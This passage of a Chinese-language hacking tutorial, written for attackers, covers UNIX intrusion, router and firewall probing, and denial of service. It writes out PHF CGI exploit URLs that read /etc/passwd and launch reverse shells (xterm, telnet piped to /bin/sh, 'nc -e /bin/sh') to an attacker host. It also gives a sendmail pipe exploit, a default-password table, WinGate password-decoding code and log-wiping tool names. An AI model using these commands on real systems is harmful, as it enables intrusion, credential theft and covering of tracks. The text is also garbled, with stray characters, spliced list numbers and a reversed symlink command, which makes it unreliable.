假设我们有一个固定长度为128字节的缓冲区，该缓冲区定义为可存放sendmail的VRFY命令的输入的数据量（VRFY用来标识目标系统上的潜在用户，办法是尝试他们的电子邮件地址，如登陆到主机的25端口后，可以VRFY username尝试用户）。再假设sendmail是一个SUID到root的程序，从而不论谁执行都以root权限运行。这种假设可能成立，也可能不成立。如果系统连接到目标系统的sendmail守护进程后给VRFY命令发送了一块由1000个字母“a”构成的数据，而不是一个简短的用户，情况又将是什么样的呢？
Echo “vrfy ‘perl -e’print “a” x 1000 ’’ ”|nc www.targetsystem.com 25
VRFY缓冲区将溢出，因为它只设计成容纳128字节。往VRFY缓冲区中添塞1000个字节可能导致拒绝服务和sendmail守护进程的崩溃；然而精心设计成让目标系统执行攻击者选定的代码将更加危险。这恰好是成功的缓冲区溢出攻击的工作原理。
（3）输入验证攻击：发生输入验证攻击的情况包括：
? 程序没能认出语法上不? 正确的输入
? 模块接受无关的输入
? 模块没能处理遗漏的输入栏目
? 发生栏目一值相关性错误
下面使用一个比较陈旧的例子，目的是为了说明输入验证的脆弱点。PHF是随早期版本的Apache Web服务器和NCSA HTTPD标准地提供一个公共网关接口（common gateway interface，简称CGI脚本）。不幸地是，这个程序没有确切地分析并验证所受到地数据有效性。PHF脚本的最初版本接受换行符（%0a），然后就以运行WEB服务器程序的用户ID的特权执行任何后续的命令。最初的PHF漏洞发掘大体如下：
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
这个漏洞发掘仅仅是cat加密后的passwd文件而已，不过可以从中看出标识的用户名。当然，这些信息也可能被用来标识用户的ID，以及没有加密的密码。技巧丰富的攻击者能够获取访问该系统的直接shell。大多数情况下，这个用户的ID是“nobody”，然而有许多不幸的网站犯了以root特权运行WEB服务器程序的大错。
（4）操纵X Windows系统：X是允许多个程序共同用一个图形显示器的窗口化机制。X相当健壮，允许基于X的客户程序把输出显示到本地X服务器或某个运行在6000～6063端口上的远程X服务器。下面看一下攻击者可能如何发掘PHF的漏洞以完成不光是显示/etc/passwd文件内容的任务。回顾最初的PHF漏洞发掘如下：
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
既然攻击者能够在该服务器上执行远程命令，稍微对它修改一下就能得到交互的shell访问。攻击者需做的工作就是把待执行的命令从“/bin/cat/passwd”改为“/usr/X11R6/bin/xterm-ut-display evil_hackers_IP：0.0”，于是漏洞发掘如下：
http://www.target.com/cgi-bin/phf? Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20evil_hackers_ip:0.0
该远程WEB服务器将执行一个xterm，并把它显示回恶意黑客（evil_hacker）自己的X服务器，其窗口ID和屏幕ID都为0。既然能使-ut选项，因此整个活动不会被系统纪录下来。此外20％是空格的等效值，用于分割命令行的各栏。这么一来，攻击者不必登录到该WEB服务器的任何服务器都能取得交互的shell访问。
（5）反向telnet和反向通道：如果目标系统的防火墙把除了80和443号以外的端口都堵塞了。因此攻击者必须通过创建反向通道来发起从脆弱的UNIX服务器到攻击者自己的系统的会话。
可以用来完成这个任务的方法有多个。第一个方法是反向telnet，也就是使用telnet创建一个从目标系统到攻击者系统自己的系统的一个反向通道。这种技巧成为反向telnet的原因在于其中的telnet连接是从攻击者试图获取其访问权的系统发起，而不是从攻击者自己的系统发起。大多数UNIX服务器都安装了telnet客户程序，其使用也很少受限制，因此telnet是反向通道客户程序的完美选择。为了执行反向telnet，我们需要谋取万能的netcat即nc工具的支持。既然是从目标系统telnet，我们就得在自己的系统上使用nc监听器，由它接受反向的telnet连接。我们必须在两个分开的窗口中分别执行以下命令之一，以便成功的接收反向的telnet连接：
nc -l -n -v -p 80
nc -l -n -v -p 25
这时候要确保自己系统上的诸如HTTPD或sendmail之类的服务没有绑定在80或25端口上。如果这两个端口上已有某个服务在监听，那就先用kill命令把它杀掉，以便nc能够捆绑到这两个端口。这两个nc命令由-l和-p开关指定成分别在25和80号端口监听，工作在详尽模式-v，不进行从IP地址到主机名的反向解析-n。
与我们的例子保持一致，为了引发反向的telnet，我们必须在目标系统上通过发掘PHF的漏洞来执行如下真正的命令序列：
/bin/telnet evil_hackers_ip 80|/bin/sh|/bin/telnet evil_hacker_IP 25
下面是与该命令序列对应的PHF漏洞发掘：
http://www.target.com/cgi-bin/phf? Qalias=x%0a/bin/telnet%20evil_hackers_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20evil_hackers_IP%2025
让我们解释一下这个看似复杂的一串指令在干什么。“/bin/telnet evil_hackers_IP 80”连接到我们在80端口的nc监听器上。这是我们真正输入命令的地方。为与传统的UNIX输入/输出机制保持一致，我们的标准输出即键击结果通过管道输给了/bin/sh即Born shell。由/bin/sh执行我们输入的命令而得到的结果再通过管道输给“/bin/telnet evil_hackers_IP 25”。最终的结果在两个分开的窗口发生一个反向telnet。选择80和25号端口是因为他们是常用的服务，大多数防火墙放行他们的外出访问。当然，只要防火墙允许外出访问，任何其他端口都可选用。
创建反向通道的另一个方法是使用nc，而不是telnet，条件是服务器上已存在nc的二进制文件，或者能够通过某种机制（例如匿名FTP）存放到服务器上。我们在下面的例子中假设目标服务器上存在某个版本的nc，而且使能了刚才提及的选项；
与早先给出的反向telnet方法类似，使用nc创建反相同道也是一个两步过程。我们必须执行以下命令来成功地接收nc的反向通道：
nc -l -n -v -p 80
使能了nc监听服务器之后，我们就得在目标系统上执行一下命令：
nc -e /bin/sh evil_hackers_IP 80
下面是与该命令对应的PHF漏洞发掘：
http://www.target.com/cgi-bin/phf? Qalias=x%0a/bin/nc%20-e%20/bin/sh%20evil_hackers_IP%2080
（6）常用类型的远程攻击：
? TFTP：TFTP是简化文件传输协议（Trivial File Transfer Protocol）的简称，? 它通常用于自举无盘工作站或诸如路由器等网络设备? 。TFTP是基于UDP的协议，? 它在69端口监听，? 不? 怎么提供安全性。攻击者通常会定位一个存在TFTP服? 务的系统，? 尝试TFTP回一个/etc/passwd文件的拷贝到自己的系统中。如果其TFTP服? 务器程序配置不? 正确，? 目标? 系统将欣然给出密码文件。攻击者一旦拥有了一串用户名? 就可供蛮力破解了。
许多较新版本的TFTP缺省配置成禁止访问除/tftproot外的任何目录。这是一个很不错的一步，但是攻击者同样可以取得/tftproot目录中的任意文件。这里包括敏感的路由器配置文件，办法是猜测路由器配置文件名，它通常就是跟以.cfg后缀的路由器主机名。
? FTP：FTP即文件传输协议（File Transfer Protocal）是当前最常用的协议之一。它允许往远程系统上或从远程系统下载文件。许多FTP服? 务器允许匿名? 访问，? 使的任何用户无需认证就能够登陆到这些FTP服? 务器中。一般情况下，? 匿名? FTP能够访问的文件系统仅局限在整个目录树的特定分枝，? 然而? 偶然情况下匿名? FTP服? 务器会允许用户穿越整个目录结构。这么一来攻击者就可以取走/etc/passwd之类敏感的配置文件，? 或者把上面提到的PHP木马放在cgi-bin目录中……
? SENDMAIL：sendmail是大多数UNIX系统上使用的邮件传送代理（mail transfer agent，? 简称MTA）。Sendmail的vrfy和expn命令可用来标? 识用户帐号。用户查点已经危险，? 不? 过尚未暴露运行sendmail时可能面临的真正危险。Sendmail 4.1中的sendmail存在一个管道脆弱点。该脆弱点允许攻击者通过管道向sendmail直接供给待执行的命令。其原因在于sendmail会以bin特权执行所提供数据之后的任何命令。下面是为发掘该脆弱点而? 交互输入的sendmail命令：
Helo
Mai from:|
Rcpt to:bounce
Data
.
mail from:bin
rcpt to:|sed ‘1,/^$/d’ |sh
data
? 远程过程调用服? 务：远程过程调用（Remote Procedure Call，? 简称RPC）是一种允许在一台计算机上运行的某个程序无缝地在另一个远程系统上执行代码地机制。要联系某个RPC服? 务的话，? 必须首先向端口映射器用rpcinfo命令查询所需RPC服? 务的列单，? 如果端口映射服? 务受到防火墙的保护，? 那就是使用rpcinfo命令中-n的选项。不? 幸的是，? 许多主流版本的UNIX系统在自举阶段就能不? 少RPC服? 务。许多RPC服? 务极为复? 杂且以root权限运行，? 这就使得事情更加糟糕，? 因此就可以成功缓冲区溢出或输入验证攻击将导致直接访问root权限。
4、 本地访问：至此我们已经讨论了常见的远程访问技巧。我们早先提到了，5、 大多数攻击者是努力发掘远程脆弱点是为了获得本地访问权。到攻击者取得一个交互命令shell之时，6、 他们就被认为是在目标7、 系统本地了。因此可以通过一些特定的方法获得root权限！
? 密码构造脆弱点：破解密码通常被称为自动执行的字典攻击。与被认为是积极攻击的蛮力猜测不同，? 密码破解可以离线进行，? 因而? 在性质上是消极的。他是常见的系统攻击，? 因为攻击者必须获得/etc/passwd文件或密码文件的访问权。UNIX的密码一般使用散列算法进行文件加密，而? 破解这个密码文件有两个比较好的程序：Alec Muffett编写的Crack 5.0a和出自Solar Designer的John the Ripper。
? 本地缓冲区溢出：本地缓冲区溢出是极为流行的攻击手段。正如上面所说，? 缓冲区溢出脆弱点允许攻击者在目标? 系统上执行任意的代码和命令。大多数情况下缓冲区溢出条件用于发掘SUID到root可执行文件中的漏洞，? 从而? 允许攻击者以root特权执行命令。
该漏洞发掘代码，然后跳转到内存中的某个确定地址，从而以root权限开始执行/bin/sh。这下导致确定无疑的“#”提示符，表面我们已经取得了root权限。
? 符号链接：大多数系统到处散置着存放垃圾文件、草稿空间和临时文件等内容的电子庇护所。所幸的是在UNIX系统中，? 临时文件创建在成为/tmp的单个目录中。/tmp尽管是写入临时文件的方便场所，? 却也隐藏着危险。许多SUID到root的程序编写成在/tmp或其他目录中创建工作文件，而? 不? 做即使是最小的稳健性检查。主要的安全问题起源于盲目的沿循符号连接引用其他文件的程序。符号连接是使用“ln -s”命令创建的特殊文件。这就是说，? 符号连接是指? 代另一个文件的文件。下面的命令创建符号连接/tmp/foo，? 它指? 向/etc/passwd：
[japleak@tmp]$ln -s /tmp/foo /etc/passwd
现在对/tmp/foo执行cat命令，输出的就是密码文件的内容。这个看似无害的文件却能够潜在的危及root。
? 文件描述字攻击：文件描述字是系统用于攻击跟踪文件的非负整数，? 这样就无需使用文件名? 了。按照规定，? 文件描述字0、1和2有隐含的用途，? 分别对应标? 准输入、标? 准输出和标? 准错误输出。当内核打开一个已存在的文件或创建一个新文件时，? 它给调用程序返回一个确定的文件描述字，? 可用来读写该文件。如果某个文件描述字是由一个特定进程按读写模式打开的，? 那么攻击者有可能在该文件修改期间对它进行写入。这么一来，? 攻击者有可能改写某个关键的系统文件而? 获得root权限。
很奇怪的是，一贯被认为比较安全OpenBSD在2.3版本中却易受到这种文件描述的攻击。当修改密码文件的中部分信息的chpass命令没有正确分配文件描述字。所以执行chpass时，它会创建一个允许普通用户使用自选的编辑器修改它的临时文件（该编辑器用chpass启动）。当用户关闭自己的编辑时，所做的改动就归并到密码数据库中。如果攻击者能够从该编辑器中启动一个shell，那就派生出一个能读/写访问其父进程文件描述字的子进程。攻击者通过增设一个没有密码的UID为0的帐号来达到修改chpass所用临时文件（/tmp/ptmp）的目的。当他们关闭由chpass打开的编辑器时，这个新帐号将归并到/etc/master.passwd中，于是取得了root权限。
8、 获得root之后：当一个攻击者成功获得root权限后，9、 他们接下来就会使用一些后门程序、嗅探程序等捕获login、telnet、ftp、smtp和snmp密码信息等。一般获得root权限后，10、 就需要进行以下的一些过程：（1）特洛伊木马，11、 例如修改过的login、netstat和ps程序；（2）后门，12、 例如inetd配置表项的插入；（3）接口嗅探程序；（4）系统登记结果清除程序。
? 特洛伊木马：攻击者获取root权限后，? 他们就能对目标? 系统上任意命令进行“特洛伊木马化”。举例来说把，? 许多root工具箱中共同? 的一个木马是篡改了的login版本。该程序会像正常的login命令那样让用户登陆；然而? 它还登记输入的用户名? 和密码到一个文件中。另有一个篡改过的ssh版本也执行同? 样的功能。
? 嗅探程序：嗅探程序起源于对调试网络连通问题的工具的需求。它们实质是捕获、解释并存贮流经某个网络的分组供以后分析用。下面是跟踪的一个例子。可看出有一个名? 为“guest”的用户以密码“guest”登陆。登陆完毕后，? 执行的所有命令也列了出来：
-----------------------------[SYN]（slot1）
pc6=>target3[23]
%&&#’$ANSI”!guest
guest
ls
cd/
ls
cd /etc
cat /etc/passwd
more hosts.equiv
more /root/.bash_history
? 清空系统安全日志：攻击者通常都不? 愿管理员看见自己在主机上留下的系统日志，? 因此擦除系统日志的工作就显得特别重要。其中推荐比较好的程序有：zap.c、wzap.c、marry.c和remove.c等。
注：由于笔者对UNIX了解不很深，这些有遗漏的方面请大家指出，指正。谢谢！
第七章：网络设备
网络是任何公司的生命之血，然而缺省情况下，一般的公司局域网或广域网（分别简称LAN和WAN）并不安全。这些脆弱点并不是小事，因为一旦攻击者拥有目标网络，他们也就占有了整个公司了。
1、 发现：端口扫描可以使用我们在前面讨论的方法实现。检测和标2、 识网络上地设备3、 只需要tracert、netcat和nmap等。
首先进行路径追踪，这样攻击者就可以确定自己与目标之间的各个主要路由器。这么做，就能够准确标识路由器的为止，然后拿路由器开刀！从下面例子，你就能比较轻松标识除路由器地址：
C:\>tracert 192.168.21.3
Tracert to (192.168.21.3),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (192.168.0.1) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (192.168.21.3) 43.803ms 44.041ms 47.835ms
熟悉192.168.0.1为最后一跳后，我们就能确定它是一台转发网络分组的路由器，因此它（以及该路径上的其他路由器）可能是攻击者首先探测的目标（实际上整个子网更像目标）。然而获取一台路由器的IP地址与发掘其中某个脆弱点相差悬殊，在能够利用其任何脆弱点之前，攻击者需要使用端口扫描、操作系统检测和信息泄漏技巧尝试标识它。
表：为标识网络设备，可扫描它们以找出常见的端口。
回想打开着的确定端口往往随协议栈的不同实现而定
硬件 TCP端口 UDP端口
Cisco路由器 21(ftp) 0(tcpmux)
23(telnet) 49(domain)
79(finger) 67(bootps)
80(http) 69(tftp)
512(exec) 123(ntp)
513(login) 161(snmp)
514(shell)
1993(Cisco SNMP)
1993(Cisco ident)
2001
4001
6001
9001(Xremote service)
Cisco交换机 23(telnet) 0(tcpmux)
7161 123(ntp)
161(snmp)
Bay路由器 21(ftp) 7(echo)
23(telnet) 9(discard)
67(bootps)
68(bootpc)
69(tftp)
161(snmp)
520(route)
Ascend路由器 23(telnet) 7(echo)
9(discard)
161(snmp)
162(snmp-trap)
514(shell)
520(route)
由上表可知，如果我们正在寻找一个Cisco路由器，那么可以专门扫描1～25、80、512~515、2001、4001、6001和9001这些TCP端口。因此我们可以扫描一下开始我们认为最后一跳很可能是路由器的那个IP以确定是否为Cisco路由器。
[japleak@root]$nmap -p 1-25,80,512-515,2001,4001,6001,9001 192.168.0.1
Starting nmap V.2.12 by Fyodor (fyodor@dhp.com,www.insecure.org/nmap/)
Interesting ports on (192.168.0.1):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
19 open tcp chargen
23 filteredtcp tcp telnet
2001 open tcp dc
6001 open tcp x11:1
从上面的结果我们可以相信这正是一台Cisco路由器，不过还不能确定，也不知道其操作系统的版本。为了证实我们就厂家和操作系统级别所做的假设，我们就需要使用TCP协议栈指纹鉴别技巧。
大多数Cisco路由器的另一个特征是在vty端口（23号和2001号TCP端口）上提供的典型“User Access Verification”提示。简单的远程登陆（telnet）到前面叙述的这些端口，我们就能得到如下的旗标：
User Access Verification
Password：
SNMP：简单的网络管理协议（SNMP）是设计来帮助管理员简单的管理网络设备的一个协议。很多SNMP版本没有一个限制厂家提供出厂缺省的SNMP管理群名字，也不强制管理员使用不易猜中的密码作为SNMP管理群名字。SNMP管理群有两个类型：读和读/写。SNMP读管理群名字意味着只允许简单查看设备配置细节，例如系统描述、TCP和UDP连接以及接口等条目。读/写管理群名字则允许管理员往设备写出信息。举例来说，管理员可使用SNMP以一个简单的命令修改系统的联系人信息或增设一个路径：
Snmpset 10.12.45.2.1.3.6.1.2.1.1.s Smith
4、 后门：后门帐号是最难以理解的脆弱点之一，5、 这些帐号在允许厂家有能力绕过被封闭了的管理员帐号，6、 然而7、 现实效果是给了攻击者提供了进入所在网络的后门。
? 缺省帐号：下面我们以一个表把这些缺省帐号列出来：
表：有待修改的标准网络设备缺省用户名和密码
设备 用户名 密码 级别
Bay路由器 User 空 用户
Manager 空 管理员
Bay 350T交换机 NetICs 无关 管理员
Bay SuperStack II security security 管理员
3Com交换机 admin synnet 管理员
read synnet 用户
write synnet 管理员
debug synnet 管理员
tech tech
monitor monitor 用户
manager manager 管理员
Cisco路由器 (telnet) c(Cisco 2600s) 用户
(telnet) cisco 用户
enable cisco 管理员
(telnet) cisco routers
Shiva root 空 管理员
Guest 空 用户
Webramp wradmin trancell 管理员
Motorola cablecom router 管理员
CableRouter
注：(telnet)表示直接用telnet不用输入用户名。
? 网络设备? 脆弱点：由于此方面内容很难实现，? 加之笔者的水平有限，? 故不? 准备? 写出来，? 有需要了解的朋友可以跟我联系。见谅！
8、 共享式媒体对比交换式媒体：共享式媒体（例如以太网和令牌网）是近20年来传输数据分流的传统设备，9、 称为带碰撞检测的载波侦听多路访问（Carrier Sense Multiple Access/Collision Detection，10、 简称NSMA/CD）的以太网是由Xerox公司设计的。传统的以太网通过把发往目的节点的分组实际发送给所在网段上的每个节点来工作。这么一来，11、 目的结点接收这些分组（其他节点也能接收），12、 并与其他节点分享传输带宽。这里存在一个安全问题，13、 通过在共享媒体上发送分组，14、 实际上同15、 一网段的所有监听设备16、 都接受到了这些分组，17、 这样也就给网络上信息的安全性有了危险。
捕获SNMP信息：对于与目标系统同处一个共享式网段的内部攻击者来说，窃听该网络上流动的分组是一个很好的办法。这里可以使用Sniffer Pro、snmpsniff等软件可以进行网络数据的监听：
snmpsniff是一个非凡的工具，不仅能够攫取管理群名字，而且能够捕获SNMP的ser和get请求。以如下参数运行snmpsniff时会发现一些有意思的输出信息：
[japleak@root]$./snmpsniff . sh
snmpsniffer:listening on eth0
(05:46:12) 172.31.50.100(secret)->172.31.50.2 (ReqID:1356392156) GET:
<.iso.org.dod.internet.mgmt.mib-2.system.1.0>(NULL)=NULL
(05:46:12) 172.31.50.2(secret)->172.31.50.100(ReqID:1356392156)
RESPONSE (Err:0):<.iso.org.dod.internet.mgmt.mib-2.system.1.0>
(Octet String)=OCTET STRING-(ascii):Cisco Internetwork Operating System
Software...IOS(tm) 3000 Software (IGS-l-L),Version 11.0(16),Release SOFTWARE (fc1)..Copyright (c) 1986-1997 by cisco Systems,
Inc…Compiled
Tue 24-Jun-97 12:20 by jaturner
得到上面的信息后，攻击者现在可以知道一个所用的管理群名字之一（“secret”），它碰巧是IP地址为172.31.50.2的路由器的读/写管理群名字。攻击者于是不仅能够使用这个读/写管理群名字侵害已有的网络基础设备，而且能够通过关注其中SNMP分组的来源（172.31.50.200）以获取新的目标，因为它通常是网络运行中心的一个系统。
第八章：防火墙
所谓防火墙，就是指一种将内部网和公众网访问网（Internet）分开的方法，实际是一种隔离技术。当今市场上存在两类主导性的防火墙：应用代理和分组过滤网关。如果不犯错误，从设计到配置再到维护都做得很好的防火墙差不多是不可渗透的。事实上，大多数熟练的攻击者知道这一点，通过发掘信任关系和最薄弱环节上的安全脆弱点来绕过防火墙，或者经由拨号帐号实施攻击来根本避开防火墙。
1、 防火墙的标2、 识：几乎所有的防火墙都会具有自己独特的电子“气味”。也就是说凭借端口扫描、firewalk工具和旗标3、 攫取等技巧，4、 攻击者能够有效的确定目标5、 网络上几乎每个防火墙的类型、版本和规则。一旦知道这些内容，6、 他们就可以尝试一些已经发掘了的漏洞。
? 直接扫描：查找防火墙最容易的方法就是对特定的缺省端口执行扫描。市场上有些防火墙都会在特定的端口标? 识自己。举例来说，? CheckPoint的Firewall-1在256、257和258号TCP端口监听，? Microsoft的Proxy Server则通常在1080和1745号TCP端口上监听。知道这一点后，? 就可以使用nmap这样的端口扫描程序来搜索这些类型的防火墙就能轻而? 易举了：
nmap -n -vv -p0 -p256,1080,1745 192.168.50.1-60.254
其中-p0开关用于在扫描之前禁止ICMP ping。这一点很重要，因为大多数防火墙并不对ICMP回射请求应答。这就是我们经常ping一些站点出现超时提示的原因。
? 路径跟踪：找到某个网络上的防火墙最妙的方法是使用tracert，? 这样可以找出到达主机的路径上的每一跳，? 并做些检测工作。在Linux的Traceroute有一个-I选项，? 它指? 定发送ICMP分组执行路径跟踪，? 这一点不同? 于缺省发送UDP分组的技巧。
[japleak@root]$traceroute -I 192.168.21.3
Traceroute to (192.168.21.3),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (192.168.0.1) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (192.168.21.3) 43.803ms 44.041ms 47.835ms
到达目标之前的最后一跳（192.168.0.1）是防火墙的机会很大，不过现在还不能肯定，我们还要继续作一点挖掘工作。如果本地主机和目标服务器之间的路由器对TTL已过期分组作出响应，那么上面的例子没有问题。但是有些路由器和防火墙设置成不返送ICMP TTL已过期分组。这种情况下所作的推断就不科学了。你所作的就是开始运行traceroute，查看哪一跳最后响应，然后推断它或者是真正的防火墙，或者是路径上开始阻塞路径跟踪分组的第一个路由器，举例来说，下面的traceroute输出中，ICMP探测分组被阻塞在到达目的地之前，client-gw.smallisp.net之后就不再有响应了：
1 stoneface (192.168.10.33) 12.640ms 8.367ms
2 gw1.localisp.net (172.31.10.1) 214.582ms 197.992ms
3 gw2.localisp.net (172.31.10.2) 206.627ms 38.931ms
4 ds1.localisp.net (172.31.12.254) 47.167ms 52.640ms
……
15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668ms 384.525ms
16 client-gw.smallisp.net (10.50.3.250) 244.065ms !×* *
17 * * *
18 * * *
? 旗标? 攫取：扫描防火墙端口有助于定位防火墙，? 不? 过大多数防火墙并不? 是在默认的端口监听，? 因此还需要其他定位防火墙的方法。许多流行的防火墙只要简单的连接他们他们就会声明自己的存在。例如，? 我们在21端口（FTP）上使用netcat连接到一台相信是防火墙的主机时，? 看到了一些有意思的信息：
C:\TEMP>nc -v -n 192.168.50.129 21
(UNKNOWN)[192.168.51.129]21(?)open
Eagle Secure Gateway.
Hostname:
如果还不相信这台主机是防火墙，那么我们对25端口（SMTP）执行netcat，这将告知它确实是：
C:\TEMP>nc -v -n 192.168.50.129 25
(UNKNOWN)[192.168.51.129]25(?)open
421 fw3-acme.com Sorry,the firewall does not provide mail service to you.
通过上面的例子可以看出，旗标信息可以标识防火墙的一些种类，对于攻击者就可以发掘众所周知的脆弱点进行攻击。
7、 穿透防火墙的扫描：由于防火墙的特殊功能，8、 可以过滤掉很多TCP、UDP数据包，9、 所以这样一来就让很多扫描器失去了作用，10、 下面我们将要介绍两个工具，11、 让我们能更加了解主机信息：
? hping：这个由Salvatore Sanfilippo编写的hping通过向一个目的端口发送TCP分组并报告由它引回的分组进行工作。依据多种条件，? hping返回各种各样的响应。每个分组部分或全面的提供了防火墙具体访问控制的相当清晰的画面。举例来说，? 使用hping可以发现打开着、被阻塞、被丢弃或者被拒绝的分组。
下面的例子中，hping报告80端口打开着，准备好接收连接。我们是从它接收到一个设置了SA标志的分组（SYN/ACK分组）获悉的。
[japleak@root]$hping www.yourcompany.com -c2 -S -p80 -n
HPING www.yourcompany.com (eth0 172.30.1.20):S set,40 data bytes
60 bytes from 172.30.1.20:flags=SA seq=0 ttl=242 id=65121 win=64240 time=144.4ms
现在我们知道了穿越防火墙到达目标系统的一个打开着的端口，不过还不清楚防火墙在哪里。下一个例子中，hping报告从192.168.70.2接收到一个代码为13的ICMP不可达类型分组。我们知道ICMP类型为3代码为13的分组是ICMP Admin Prohibited Filter分组，它通常是从某个分组过滤掉路由器发出的：
[japleak@root]$hping www.yourcompany.com -c2 -S -p23 -n
HPING www.yourcompany.com (eth0 172.30.1.20):S set,40 data bytes
ICMP Unreachable type 13 from 192.168.70.2
现在我们证实192.168.70.2很可能就是我们的防火墙了，因为它明确阻塞了去往目标系统23号端口的探测分组。换句话说，如果它是一个Cisco路由器，那么其配置文件中也许有如下所示一行：
access-list 101 deny tcp any any 23 ! telnet
这个hping结果表明以下两件事情之一：（1）探测分组不可达目的地，在中途丢失；（2）更可能的是，某个设备（也许就是防火墙）作为其ACL规则的一部分丢弃了探测分组。
? firewalk工具：这个工具将扫描一个防火墙的某个下游主机，? 并且不? 需要真正触及目标? 系统就往回报告允许到达主机的规则；firewalk通过构造其TTL值专门计算过的IP分组来工作，? 该TTL值在相应分组过防火墙时只剩下最后一跳。如果防火墙允许该分组通过，? 那么它将如期地过期，? 从而? 引发一个TTL在传输中过期的消息。相反，? 如果该分组被防火墙的ACL规则所阻塞，? 那么他们将被丢失，? 从而? 要么不? 发送任何响应，? 要么发送一个ICMP类型未3代码为13的“admin prohibited filter（管理上受禁而? 过滤）”分组。
[japleak@root]$firewalk -Ptcp -s135-140 10.22.3.1
192.168.1.1
Ramping up hopcounts to binding host…
Probe:1 TTL:1 port 33434:expired from [exposed.acme.com]
Probe:2 TTL:2 port 33434:expired from [rtr.isp.net]
Probe:3 TTL:3 port 33434:Bound scan at 3 hops [rtr.isp.net]
Port 135:open
Port 136:open
Port 137:open
Port 138:open
Port 139:*
Port 140:open
12、 应用代理脆弱点：现在局域网上网使用的最多的还是一些第三方软件，13、 通常都会使用两种比较常见的软件：sygate和wingate。
首先我们看看sygate的脆弱点吧，还是以举例子说明这一点：
C:\>telnet 192.168.1.1 7323
SyGate 3.0 for Windows 95/98/NT build 522
Wecome to SyGate remote controller!
For security purpose,SyGate remote controller can be access
Only from your Local Area Network(LAN)
= = = = = = = Function Key = = = = = = =
P Stop SyGate Service
D Display SyGate Status
N To Dial (Dial-UP Networking only)
F ToHangUP (Dial-Up Networking only)
T Display All TCP Connection(s)
U Display All UDP Connection(s)
Ready to accept command,Press one function key,or ‘H’ for help.
我们在这里选择P，就相应地停止了Sygate地工作，使的整个网络与互联网断开，这个脆弱点虽然不能暴露什么东西，不过对于邪恶的攻击者来说已经做到了很可怕的一面。其主要地问题是没有设置密码控制台。
然后我们再来看看Wingate 3.0的问题：
问题一：攻击者可以远程读取系统文件：
http://代理IP:8010/c:/-NT/Win9x
http://代理IP:8010//-NT/Win9x
http://代理IP:8010/…./-NT/Win9x
问题二：WinGate容易受到拒绝服务攻击：Winsock重定向服务被绑定在2080端口上，连接到这个端口，发送超过2000Byte，然后中断连接，Winsock将停止服务。
问题三：WinGate 3.0使用若加密的密码：WinGate的密码只经过简单加密后就存放在注册表中，任意用户都可以读取它，并且很容易解密。解密程序如下：
#include “stdafx.h”
#include
#include
main (int argc,char * argv[])
{
char I;
for (I=0;I<strlen(argv[1]);I++)
putchar(argv[1][I]^ (char)((I+1)<<1));
return 0;
}
问题四：可以使用WinGate轻松当作跳板：以例子说明这一点：
C:\>telnet 192.168.0.1
Trying 192.168.0.1
Connected to 192.168.0.1
Escape character is ‘^]’
Wingate>10.50.21.5
Connecting to host 10.50.21.5…Connected
SunOS 5.6
Login:
熟悉用代理当跳板的攻击者就知道这样通过代理十分方便的隐藏了自己的踪迹！
第九章：拒绝服务器攻击
上面的章节，我们已经多次提到拒绝服务器(DoS)攻击，那到底应该怎么做呢？下面我们开始讨论拒绝服务攻击的方法：
1、 DoS攻击者的动机：上面已经讨论了多种进入主机的方法，2、 不3、 过如果一个攻击者遇到的恰恰是用以上的任何一种方法都不4、 能进入的主机怎么办呢？对于那种无赖的攻击者只有最后一招了：拒绝服5、 务攻击！其实这也是一种损人又不6、 利己的行为，7、 现在很多拒绝服8、 务攻击都是点击式的攻击，9、 所以不10、 需要攻击者对网络知识有比较深入的了解都可以办到。
11、 DoS攻击类型：DoS攻击一般分为四种类型：宽带耗用；资源衰竭；编程缺陷；路由和DNS攻击。
? 带宽耗用：不? 知道大家是否还记得2001年5月期间的中美网络大战中，? 有些朋友说用ping -l 65535 www.whitehouse.net -t攻击美国白宫，而? 且当时声势浩大，? 虽然结果好像也不? 太成功，? 不? 过这里足以说明了带宽耗用的拒绝服? 务器攻击。形式一：攻击者因为拥有更多的带宽，? 能够造成受害者网络链路的堵塞。这就像拖拉机与牛车相碰一样，? 较大的交通工具将赢得这场冲突。形式二：攻击者通过征用多个网点集中向目标? 系统发送他们的数据包，? 通过网点放大，? 只一个56Kvbps网络就足够填满一个具备? T3网络连接（45Mbps）的一个网络。
? 资源衰竭：资源衰竭攻击与带宽耗用攻击的差异在于前者集中于系统资源而? 不? 是网络资源的消耗。一般来说，? 它涉及诸如CPU利用率、内存、文件系统限额和系统进程总数之类系统资源的消耗。攻击者往往拥有一定数量系统资源的合法访问权。然而? 他们会滥用这种访问权消耗额外的资源。这么一来，? 系统或合法用户被剥夺了原来享有的资源分额。资源衰竭DoS攻击通常会因为系统崩溃、文件系统变满或进程被挂起等原因而? 导致不? 可用的资源。
? 缺陷编程：缺陷编程是应用程序、操作系统或嵌埋式逻辑芯片在处理异常条件上的失败。这些异常条件通常在用户向脆弱的元素发送非期望的数据时发生。比如一个提供ASP空间的服? 务器，? 如果没有仔细检查ASP，? 就可能被ASP中设定的超时会话而? 让CPU一值处于等待连接状态，? 严重的影响了系统的工作。
? 路由和DNS攻击：基于路由的DNS攻击涉及攻击者操纵路由表项以拒绝对合法系统和网络提供服? 务。基于域名? 系统（DNS）的攻击跟基于路由攻击一样烦人。大多数DNS攻击涉及劝服? 受害者域名? 服? 务器高速缓存虚假的地址信息。这样合法的用户请求某台DNS服? 务器执行查找请求时，? 攻击者就达到了把他们重定向到自己喜欢的网点上的效果，? 某些情况下还被重定向到黑洞网络中。
12、 通用的DoS攻击手段：
